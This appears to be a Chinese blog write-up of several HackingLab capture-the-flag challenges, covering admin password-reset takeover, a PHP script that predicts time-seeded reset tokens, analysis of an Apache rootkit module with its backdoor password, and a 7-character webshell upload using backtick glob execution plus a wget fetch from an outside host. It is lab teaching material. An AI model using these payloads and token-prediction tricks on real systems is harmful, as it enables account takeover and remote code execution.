MENU

HackingLab 综合关 writeup

August 1, 2016 • Read: 8218 • CTF

渗透测试第一期

注意:该题目模拟真实环境,故具有排他性,请选择合适的时间段完成该题。 你只有一部可用手机,手机号码会在需要手机号码的页面中给出。
通关地址
修复
现在用户不用排他了,只要保证在一个session里即可。

注册要绑定一个手机号,用来接收验证码,而 key 在管理员那里,必须要重置管理员的密码,这就需要改管理员绑定的手机,直接在绑定手机那里抓包,username 改成 admin 即可绑定成功,重置密码登录即可。

没有注入到底能不能绕过登录

不是SQL注入 
通关地址

简单看下文件,有一个 robots.txt,打开有个路径 myadminroot,进去提示 login first,然而 login 的地方怎么输密码都是 error。。。

难道要爆破?我放了几个弱口令字典都没什么效果。。。有点尴尬,这怎么办。。

我又抓了 myadminroot 的包,结果发现,不管 error,按顺序提交两个包就出现了 flag。。。原理不明。。。

美图闪亮亮交友平台

小明今年19了,看到比自己还小两岁的妹妹都已经有了小男朋友,因此他也想找个女朋友了,于是就来到了美图闪亮亮交友平台,但是他怎么也没想到,上面的妹纸都不理他,于是他只好想办法;最后,他登录到了管理员姑娘的网页版邮箱,发现管理员姑娘其实已经暗恋他已久,于是乎,他们开始了一段惊人的地下恋情。
通关地址
ps:出题的人一定是想妹纸想疯了
Tips: 邮箱没有xss漏洞
Tips: 管理员用的是手机wap邮箱,而且管理员的手机不支持Cookie(20150823)

这是什么脑洞。。不能理解。

最简单的数字取证1

小明是某安全公司的职员,今天是他第一次参与客户应急工作,来到客户现场,客户给了他一个文件,然后客户就忙着开会去了……来吧,我们一起帮助小明看一下,这个文件里到底有什么内容.
通关地址
Tips: 在这个文件中发现key文件找到key并提交即可通关

映射虚拟磁盘即可。

最简单的数字取证2

小明是某安全公司的职员,今天是他第二次参与客户应急工作,来到客户现场,客户给了他一个文件,然后告诉他,有资料被黑客删除了,请帮忙恢复一下,然后客户就又忙着开会去了…….来吧,为了创造美好的专业形象,小明这回要当一次数据恢复专家了. 
下载地址
Tips: 在这个文件中发现key文件找到该key并提交即可通关

映射好像打不开了,老是拒绝访问。。。用 DiskGenius 打开虚拟硬盘文件即可看到 flag。

小明学习代码审计

小明为了追他心爱的女孩,可谓是绞尽脑汁,天天熬夜好好学习!现在他已经开始学习代码审计,一天,他来到一个电商网站,发现了可爱的程序员竟然写了这样的代码,于是乎,他便重置了管理员密码,买了许多好吃的.
通关地址
Tips: 该题目模拟真实环境,请不要放过细节.提示不如不提示,Take it easy!

既然是代码审计,那就先找源码了。

<?php 
session_start();
include '_flag.php';
date_default_timezone_set('Asia/Shanghai');
if(isset($_POST['token']) && isset($_SESSION['token']) &&!empty($_POST['token'])&&!empty($_SESSION['token'])){
    if($_POST['token']==$_SESSION['token']){
        echo "PassResetSuccess! Your Flag is:".$flag;
    }else{
        echo "Token_error!";
    }
}else{
    mt_srand(time());
    $rand= mt_rand();
    $_SESSION['token']=sha1(md5($rand));
    echo "Token Generate Ok! now send email to your EmailBox!.....";
    if(sendmymail($_SESSION['token'])){
        echo "SendOK! \r\n<br> Your password reset Token has been send to your mailbox! <br>Please Check your mail box and fill your token here to reset your password!<br>";
    };
}
echo '<form action="" method="POST">
    <input type="text" name="token">
    <input type="submit" value="submit">
</form>';
echo "<!--\r\n".file_get_contents(__FILE__);
?>

post 提交的 token 和生成的一样时,返回 flag,而生成 token 用到了以时间戳为种子的随机数的哈希,这好像就只能用 PHP 来写脚本做题了。。。

<?php
include('D:\Program Files\phpstudy\Requests-1.6.0\library\Requests.php');
Requests::register_autoloader();

$time1 = time();

for($i = -10; $i < 10; $i ++)
{
    echo $i . 'Time: ' . time();
    mt_srand($time1 + $i);
    $rand = mt_rand();
    echo $rand . "\r\n";
    $token = sha1(md5($rand));
    $data = array('token' => $token);
    $headers = array('Cookie' => 'PHPSESSID=c31b59c39493d819568e972c74e696b5');

    $response = Requests::post('http://lab1.xseclab.com/pentest6_210deacdf09c9fe184d16c8f7288164f/resetpwd.php', $headers, $data);
    // echo $response->body . "\r\n\r\n";
    if(strpos($response->body, "Token_error"))
    {
        echo $response->body;
        break;
    }
}

跑脚本之前好像先得访问一下重置密码地址让服务器生成 token,还需要安装好 PHP 的 Requests 库。

HackingLab首台rootkit题目虚拟机

要求: 找到系统rootkit后门(不是木马)并提取后门密码
密码验证方式:验证可以远程获取root权限,则说明密码正确.
正确的密码即为过关密码 
虚拟机信息:[root密码hackinglab.cn] 
下载地址: http://pan.baidu.com/s/1bnoKlOj 密码: bpe5
若无法下载请联系@CplusHua
该题目可能难度较大,涉及到应急响应分析,病毒木马查杀,简单逆向分析等

打开虚拟机,top 查看下进程,看到在一堆 apache 用户的 httpd 进程里有一个 root 用户格外亮眼,很有嫌疑,去 httpd 安装目录下看看。

[root@rootkit modules]# cd /etc/httpd/
[root@rootkit httpd]# ls
conf  conf.d  logs  modules  run
[root@rootkit httpd]# cd modules/
[root@rootkit httpd]# cd modules/
[root@rootkit modules]# ls
libphp5.so          mod_authn_anon.so     mod_authz_default.so    mod_cern_meta.so  mod_dir.so         mod_headers.so       mod_logio.so           mod_proxy_ftp.so   mod_setenvif.so    mod_usertrack.so
mod_actions.so      mod_authn_dbd.so      mod_authz_groupfile.so  mod_cgid.so       mod_disk_cache.so  mod_ident.so         mod_mime_magic.so      mod_proxy_http.so  mod_speling.so     mod_version.so
mod_alias.so        mod_authn_dbm.so      mod_authz_host.so       mod_cgi.so        mod_dumpio.so      mod_include.so       mod_mime.so            mod_proxy_scgi.so  mod_status.so      mod_vhost_alias.so
mod_asis.so         mod_authn_default.so  mod_authz_owner.so      mod_dav_fs.so     mod_env.so         mod_info.so          mod_negotiation.so     mod_proxy.so       mod_substitute.so
mod_auth_basic.so   mod_authn_file.so     mod_authz_user.so       mod_dav.so        mod_expires.so     mod_ldap.so          mod_proxy_ajp.so       mod_reqtimeout.so  mod_suexec.so
mod_auth_digest.so  mod_authnz_ldap.so    mod_autoindex.so        mod_dbd.so        mod_ext_filter.so  mod_log_config.so    mod_proxy_balancer.so  mod_rewrite.so     mod_unique_id.so
mod_authn_alias.so  mod_authz_dbm.so      mod_cache.so            mod_deflate.so    mod_filter.so      mod_log_forensic.so  mod_proxy_connect.so   mod_rootme22.so    mod_userdir.so

发现一个 mod_rootme22.so 文件,看着名字就不像好货。

[root@rootkit modules]# strings mod_rootme22.so 
__gmon_start__
_init
_fini
__cxa_finalize
_Jv_RegisterClasses
pidlist
pipe_A
pipe_B
shell_spooler
ttyname
pipe
fork
getppid
exit
waitpid
write
select
read
kill
close
runshell_raw
runshell_pty
process_client
strncmp
shutdown
send
recv
setsid
dup2
execlp
openpty
memset
ioctl
malloc
strncpy
putenv
chdir
core_module
ap_get_module_config
strcmp
ap_hook_post_config
ap_hook_post_read_request
rootme22_module
libutil.so.1
libc.so.6
_edata
__bss_start
_end
GLIBC_2.2.5
ATSubH
/usr/sbin/apache2 -k start
hackinglabwelcomeyou!
wearefriends+
mod_rootme22.c
22PA

拿到flag。

代码审计与综合利用

要求: 下载虚拟机,在只利用http服务的情况下读取flag
flag在/下,名字为"the_flag_is_here"
flag密码即为过关密码 
下载地址: 链接: http://pan.baidu.com/s/1dEplYcp 密码: k1u8
若无法下载请联系@CplusHua
虚拟机信息:[root密码hackinglab.cn]请尽量不要直接登录,虽然在本地运行,也当是在远程好啦,模拟只对用户开80端口的情况下.
FROM: CTF

这虚拟机太坑了,一上去只有一个 lo 网卡,没有 eth0,我参考这篇文章一顿乱改才搞好。。。

打开页面,一片空白,看源码,提示 GET 需要一个 src 参数,输入后看到源码。

<?php
session_start();
$savepath="files/".sha1(session_id())."/";
if(!is_dir($savepath)){
    $oldmask=umask(0);
    mkdir($savepath,0777);
    umask($oldmask);
    touch($savepath."/index.html");
}
if(($_POST['filename'])&&($_POST['content'])){
    $fp=fopen("$savepath".$_POST['filename'],'w');
    fwrite($fp,substr($_POST['content'],0,7));
    fclose($fp);
    $msg='File saved to <a>'.$savepath.htmlspecialchars($_POST['filename'])."</a>";
    echo $msg;
}
?>
<?php if(@$_GET['src']) show_source(__FILE__);?>
<!-- <a href="./?src=">src</a>-->

这显然是个上传 webshell 的题目了,然而限制了只能有 7 个字符,一句话肯定是不行了,查到的最短的一句话是:

<?=`$_GET[1]`;

这也要 14 个字符,除非把里面的换成 *,这才能变成7个字符。

这样的 PHP 有一个奇怪的特性,会把目录下所有的文件挨个执行一遍,这时就想到了远程 getshell,上传一个 wget 文件,内容随意,传一个 wz.40huo.cn,内容随意,一个 z.php,内容是上面的 payload。但试了半天,wget 只能把下载的东西保存到 index.html 里,这样就没法执行了。。。

wget  wz.40huo.cn  z.php

放弃 getshell,转向命令执行,上传一个 bash 文件,内容随意,一个 bb 文件,内容为 ls /,然后执行。

bin boot dev etc home lib lib64 lost+found media mnt opt proc root sbin selinux srv sys the_flag_is_here tmp usr var 

瞬间看到 flag 文件,改 bb 文件内容为 cat /t*

flagis:LinuxPHP1932186 
Last Modified: February 14, 2017
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

4 Comments
  1. 游客 游客

    “代码审计与综合利用” 是怎么上传bash文件和bb文件的?hacklab题目要求只开启了80端口,不能直接登录,难道是通过index.php的写文件吗?@(疑问)

    1. 123 123

      @游客<? 能把目录下所有的文件挨个执行一遍?没成功@(泪)

  2. 游客 游客

    我已经理解作者的意思了,楼主大牛!@(太开心)

  3. hx hx

    楼主牛啊,学到好多东西